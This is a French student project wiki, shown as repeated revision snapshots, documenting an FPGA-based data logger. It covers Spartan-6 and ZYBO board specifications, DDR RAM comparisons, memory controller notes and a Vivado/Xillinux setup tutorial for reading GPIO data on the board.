t°)Éteindre la board avec le switch. Mettre le jumper de boot sur SD. Installer la carte SD dans le slot. Allumer la board. 

Vous pouvez maintenant brancher un câble HDMI ou VGA à la board pour y connecter un écran, ainsi qu'un clavier pour faire la configuration et l'installation de Ubuntu. Le nom d'utilisateur est root et le mot de passe est toor. Le mieux est de faire un apt-get update, puis un apt-get upgrade pour mettre à jour les paquets. Il est maintenant nécessaire d'installer les paquets pour ssh si ce n'est pas déjà fait. Il est aussi nécessaire d'installer python. 
=====Récupération des données des GPIOs=====
C'est là que le fichier d'adressage qui se situe dans Pack_bit si vous n'avez pas fait votre propre bitstream ou dans Vivado → Open Block Design → Adress Editor, va nous servir.
On peut utiliser nmap pour scanner son réseau et trouver l'adresse ip de la board ZYBO.
Une fois connecté, on va récupérer les données des switchs et écrire leur valeur dans un fichier. Voici un code en python qui récupère les données depuis des adresses mémoire dans /dev/mem. Le code est assez simple et efficace. L'astuce consiste à mettre en relation les offset que l'on voit avec les adresses que l'on a attribué avec l'Adress Editor dans Vivado : 

On voit que les offset des LED et des SWITCH correspondent.
J'ai ensuite crée un serveur apache sur le linux du ZYBO et j'ai affiché les données que j'ai collécté sur un graphique que je peux atteindre en tapant l'adresse ip de la machine. 

J'ai pu mesurer la vitesse d'acquisition des données, celle ci n'est pas très élevé. On obtient 180 Ko/s. Ce pendant cette méthode est utile si on veut récupérer les données qui sont dans la RAM. En effet, j'ai pu tester des codes en C qui permettent de récupérer directement les données qui sont dans la RAM à partir du linux embarqué. 

==Fichiers==
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]
*Empreinte sous Altium Designer pour le connecteur DDR3
 
 
 

==Shopping==
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&entryPoint=adirect&messageType=catProductDetail&showAddButton=true&productID=1008153012207LF datasheet])
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])
*Recuperation de DDR1 au service informatique de Polytech

==Sources==
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] 
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité] 
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] 
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)] 
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations] 
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] [https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]

Fichier:Tuto9.PNG

2016-02-23T19:22:12Z

Avinot :

Fichier:Tuto8.PNG

2016-02-23T19:18:22Z

Avinot :

P2 Data Logger

2016-02-23T19:16:47Z

Avinot : /* Récupération des données des GPIOs */

==Cahier des charges==
===Présentation générale du projet===
====Dénomination du sujet par les enseignants====
{|class="wikitable centre"
|-
! scope="col" |Objectif
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques
|-
! scope="col"|Description
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.

Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.

Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)

La plate-forme sera constituée de :
*Un FPGA permettant de contrôler le système,
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,
*Une mémoire RAM de stockage des données,
*Une interface permettant de gérer la plate-forme et de récupérer les données.
|}

====Contexte====
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un "data logger". Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...

====Objectif du projet====
*stocker en RAM une série de donnée le plus rapidement possible
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)
*rendre modulaire le code en permettant d'ajouter un fréquencemètre
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM

===Étapes du projet===
Le projet va se dérouler en plusieurs étapes. 
1)Etude des plates-formes de programmation
 
2)Etude de la problématique
 
3)Proposition de solutions et argumentaire

===Choix techniques : matériel, logiciels, sources===
*[http://www.opencores.org OPENCORES.ORG]
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)

==Suivi des étapes du Projet==
===Etude des plates-formes de programmation===
====TE0600 & TE0603====
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le "cerveau" du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement.
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)] 
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet] 
=====Caracteristiques SPARTAN 6 XILINX LX45=====
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]
'''General'''
*consommation: 0.6A
*45nm low power process technology with 6-input LUTs
*1080MHz clock management tiles (2 DCM + 1 PLL)
*320MHz Block RAM from 216 - 4824 Kbits
*Memory interface controllers blocks from 0 - 4
*1.08Gbps SelectIO™ technology
*390MHz DSP48A1 slices from 8 - 180
*Embedded processing 
 
Pour plus de détails: 
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]
 
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description] 
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation] 
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics] 

=====Caractéristiques de TE0600 =====
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine
* JTAG port (SPI indirect)
* FPGA configuration through:
* B2B connector
* JTAG port
* SPI Flash memory
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips
* 4.0 A x 1.2 V power rail
* 1.5 A x 1.5 V power rail
* 125 MHz reference clock signal
* Single-ended custom oscillator (option)
* eFUSE bit-stream encryption (LX100 or larger)
* 1 user LED
* Evenly-spread supply pins for good signal integrity
* Other assembly options for cost or performance optimization available upon request. 
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600] 

=====Caractéristiques du TE0603=====
*Board power supply via screw terminals, DC jack
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB
*Small form factor: 115x70 mm
*Micro SD connector
*5 Header connectors with up to 114 user IOs
*2 Push-buttons for reset and user function
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] 

===== Étude de la carte TE0603=====
[[Fichier:Zybo.jpg|300px|thumb|right|ZYBO]]
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. 
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. 

En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le "driver" pour accéder en écriture et en lecture les espaces mémoires.
 

====ZYBO====
C'est une plate-forme de développement d'usage général. Celle-ci intègre un port HDMI, plusieurs ports USB dont un pour la programmation, plusieurs switch, plusieurs boutons poussoirs, un slot pour carte SD et surtout 512Mb de DDR3. Cette carte possède comme autre avantage qu'elle peut booter sur un linux via la carte SD. Ainsi, on peut se connecter en SSH/SCP sur la machine et interagir, émettre et recevoir des données en grande quantité. Je pense que le ZYNQ 7000 est un FPGA très avantageux pour faire du système embarqué.

*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)

====LX9 MicroBoard====
[[Fichier:LX9.jpg|300px|thumb|right|AVNET LX9 MicroBoard]]
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)
C'est une plate-forme de développement à faible coût qui permet de travailler avec un SPARTAN 6 et MicroBlaze. Elle possède plusieurs entrées sorties (moins que la TE0600), des leds, un interrupteur et 4 switch très fragiles et un port Ethernet. Cette board vient de mes ressources personnelles mais le modèle étant simple et assez répandu, on trouve beaucoup de tutoriel explicatif sur internet.
 
 
 
 
 

===Etude de la problématique===
====Étude pour l'ajout de RAM====
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits: 
'''Historique:''' 
[[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]
Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.

After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in "dual channel mode" to increase memory throughput even further.

Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3.

{| class="wikitable alternance centre"
|+ Comparatif des performances de DDR* RAM
|-
|
! scope="col" | DDR1 RAM
! scope="col" | DDR2 RAM
! scope="col" | DDR3 RAM
|-
! scope="row" | Nombre de pins
| 184
| 240
| 240
|-
! scope="row" | Vitesse d'horloge
| 100 MHz à 200 MHz
| 100 MHz à 266 MHz
| 100 MHz à 300 MHz
|-
! scope="row" | Taux maximum de tranfers
| 200 MT/s à 400 MT/s
| 400 MT/s à 1066 MT/s
| 800 MT/s à 2400 MT/s
|-
! scope="row" | Tension d'alimentation
| 2.5 V
| 1.8 V
| 1.5 V
|}

====IP pour SDRRAM====
[[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]
*Étude de l'IP pour l'adressage RAM
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:
**[http://opencores.org/project,sdr_ctrl opencore]
**Schéma fonctionnel:
 

Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.

====Etude des Memory Controller Blocks====
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]]
Il y a trois fonctions principales du point de vue de l'utilisateur:
*Lire le port (unidirectionnel)
*Écrire sur le port (unidirectionnel)
*Lire et écrire sur le port (bi directionnel)
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:
*Arbiter ou arbitre:
Il détermine quel port à la priorité pour accéder à la mémoire physique.
*Controller ou contrôleur:
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.
*Datapath
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.
*Physical Interface (PHY) ou interface physique:
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.
*Calibration Logic:
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.

===Proposition de solutions===
====Récuperation et affichage des données avec la pateforme ZYBO====
Voici une liste de matériel pour réaliser cette solution:
*Plateforme ZYBO
*Alimentation 5V 3A
*Carte microSD 4Gb (2Gb minimum)
*Cable RJ45
*Linux type Debian 
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs: 

=====Téléchargement et installation=====
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] 
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. 
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files 
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail 
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail 
=====Création d'une carte bootable sur ZYBO=====
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]
[[Fichier:Tuto5.PNG|100px|thumb|right|l°)]]
[[Fichier:Tuto6.PNG|100px|thumb|right|l°)]]
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie "récupération" des données. Si vous utilisez ce fichier .zip, sautez directement au point . 
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr 
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design 
h°)Supprimer l'IP pour adresser les LEDS 
i°)On va créer un nouvel IP, tool->Create and Package IP...; next; name-> myLed; next 
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed.
*Interface type ->Lite
*Mode ->Slave
*data width ->32 bits
*number of registers ->4
*Name->S00_AXI 
k°)La fenêtre suivante permet de choisir l'option "edit IP" 
l°)Dans le projetct manager, ouvrir "myLed_V1..." et ajouter à la ligne 18 :
{| width=10%
|<pre>output wire [3:0] led, </pre>
|}
et à la ligne 400 :
{| width=10%
|<pre> assign led=slv_reg0[3:0];</pre>
|}

m°)Il faut maintenant ajouter l'IP au design. Cliquer sur Open Block Design, puis click droit → Add IP et choisir myLed0. Relier comme sur l'image le I/O de l'IP en cliquant sur « run connection automation ». 
n°)Clique droit sur l'IP → create port, le nommer LED sur 4 bit et supprimer le précédent port. Relier le port de sortie à LED. 
o°)Dans les sources du Project manager, allez dans constraints, et ouvrir base.xdc et modifier comme sur l'image. 
p°) Dans le flow navigator, cliquer sur create bitstream. 
=====Préparation et utilisation de la carte µSD=====
q°)Dans notre dossier de travail, nous avons 4 fichiers :
*boot.bin
*devicetree.dtb
*uImage
*le fichier *.bit que l'on vient de générer et que l'on renomme xillydemo.bit
 
r°)Monter la carte µSD dans le PC sous linux. Créer une partition de 36Mo en FAT16 et une partition qui prend tout le reste de la place en ext4. Personnellement après de nombreuse tentatives, je recommande GParted. 
s°)Copier les quatre fichiers sur la partition de 36Mo. 
t°)Éteindre la board avec le switch. Mettre le jumper de boot sur SD. Installer la carte SD dans le slot. Allumer la board. 

Vous pouvez maintenant brancher un câble HDMI ou VGA à la board pour y connecter un écran, ainsi qu'un clavier pour faire la configuration et l'installation de Ubuntu. Le nom d'utilisateur est root et le mot de passe est toor. Le mieux est de faire un apt-get update, puis un apt-get upgrade pour mettre à jour les paquets. Il est maintenant nécessaire d'installer les paquets pour ssh si ce n'est pas déjà fait. Il est aussi nécessaire d'installer python. 
=====Récupération des données des GPIOs=====
C'est là que le fichier d'adressage qui se situe dans Pack_bit si vous n'avez pas fait votre propre bitstream ou dans Vivado → Open Block Design → Adress Editor, va nous servir.
On peut utiliser nmap pour scanner son réseau et trouver l'adresse ip de la board ZYBO.
Une fois connecté, on va récupérer les données des switchs et écrire leur valeur dans un fichier. Voici un code en python qui récupère les données depuis des adresses mémoire dans /dev/mem. Le code est assez simple et efficace. L'astuce consiste à mettre en relation les offset que l'on voit avec les adresses que l'on a attribué avec l'Adress Editor dans Vivado : 

On voit que les offset des LED et des SWITCH correspondent.
J'ai ensuite crée un serveur apache sur le linux du ZYBO et j'ai affiché les données que j'ai collécté sur un graphique que je peux atteindre en tapant l'adresse ip de la machine. 

J'ai pu mesurer la vitesse d'acquisition des données, celle ci n'est pas très élevé. On obtient 180 Ko/s. Ce pendant cette méthode est utile si on veut récupérer les données qui sont dans la RAM. En effet, j'ai pu tester des codes en C qui permettent de récupérer directement les données qui sont dans la RAM à partir du linux embarqué. 

==Fichiers==
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]
*Empreinte sous Altium Designer pour le connecteur DDR3
 
 
 

==Shopping==
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&entryPoint=adirect&messageType=catProductDetail&showAddButton=true&productID=1008153012207LF datasheet])
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])
*Recuperation de DDR1 au service informatique de Polytech

==Sources==
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] 
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité] 
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] 
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)] 
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations] 
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] [https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]

P2 Data Logger

2016-02-23T19:15:43Z

Avinot : /* Proposition de solutions et argumentaire */

==Cahier des charges==
===Présentation générale du projet===
====Dénomination du sujet par les enseignants====
{|class="wikitable centre"
|-
! scope="col" |Objectif
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques
|-
! scope="col"|Description
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.

Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.

Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)

La plate-forme sera constituée de :
*Un FPGA permettant de contrôler le système,
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,
*Une mémoire RAM de stockage des données,
*Une interface permettant de gérer la plate-forme et de récupérer les données.
|}

====Contexte====
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un "data logger". Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...

====Objectif du projet====
*stocker en RAM une série de donnée le plus rapidement possible
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)
*rendre modulaire le code en permettant d'ajouter un fréquencemètre
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM

===Étapes du projet===
Le projet va se dérouler en plusieurs étapes. 
1)Etude des plates-formes de programmation
 
2)Etude de la problématique
 
3)Proposition de solutions et argumentaire

===Choix techniques : matériel, logiciels, sources===
*[http://www.opencores.org OPENCORES.ORG]
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)

==Suivi des étapes du Projet==
===Etude des plates-formes de programmation===
====TE0600 & TE0603====
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le "cerveau" du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement.
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)] 
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet] 
=====Caracteristiques SPARTAN 6 XILINX LX45=====
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]
'''General'''
*consommation: 0.6A
*45nm low power process technology with 6-input LUTs
*1080MHz clock management tiles (2 DCM + 1 PLL)
*320MHz Block RAM from 216 - 4824 Kbits
*Memory interface controllers blocks from 0 - 4
*1.08Gbps SelectIO™ technology
*390MHz DSP48A1 slices from 8 - 180
*Embedded processing 
 
Pour plus de détails: 
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]
 
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description] 
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation] 
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics] 

=====Caractéristiques de TE0600 =====
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine
* JTAG port (SPI indirect)
* FPGA configuration through:
* B2B connector
* JTAG port
* SPI Flash memory
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips
* 4.0 A x 1.2 V power rail
* 1.5 A x 1.5 V power rail
* 125 MHz reference clock signal
* Single-ended custom oscillator (option)
* eFUSE bit-stream encryption (LX100 or larger)
* 1 user LED
* Evenly-spread supply pins for good signal integrity
* Other assembly options for cost or performance optimization available upon request. 
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600] 

=====Caractéristiques du TE0603=====
*Board power supply via screw terminals, DC jack
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB
*Small form factor: 115x70 mm
*Micro SD connector
*5 Header connectors with up to 114 user IOs
*2 Push-buttons for reset and user function
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] 

===== Étude de la carte TE0603=====
[[Fichier:Zybo.jpg|300px|thumb|right|ZYBO]]
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. 
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. 

En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le "driver" pour accéder en écriture et en lecture les espaces mémoires.
 

====ZYBO====
C'est une plate-forme de développement d'usage général. Celle-ci intègre un port HDMI, plusieurs ports USB dont un pour la programmation, plusieurs switch, plusieurs boutons poussoirs, un slot pour carte SD et surtout 512Mb de DDR3. Cette carte possède comme autre avantage qu'elle peut booter sur un linux via la carte SD. Ainsi, on peut se connecter en SSH/SCP sur la machine et interagir, émettre et recevoir des données en grande quantité. Je pense que le ZYNQ 7000 est un FPGA très avantageux pour faire du système embarqué.

*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)

====LX9 MicroBoard====
[[Fichier:LX9.jpg|300px|thumb|right|AVNET LX9 MicroBoard]]
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)
C'est une plate-forme de développement à faible coût qui permet de travailler avec un SPARTAN 6 et MicroBlaze. Elle possède plusieurs entrées sorties (moins que la TE0600), des leds, un interrupteur et 4 switch très fragiles et un port Ethernet. Cette board vient de mes ressources personnelles mais le modèle étant simple et assez répandu, on trouve beaucoup de tutoriel explicatif sur internet.
 
 
 
 
 

===Etude de la problématique===
====Étude pour l'ajout de RAM====
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits: 
'''Historique:''' 
[[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]
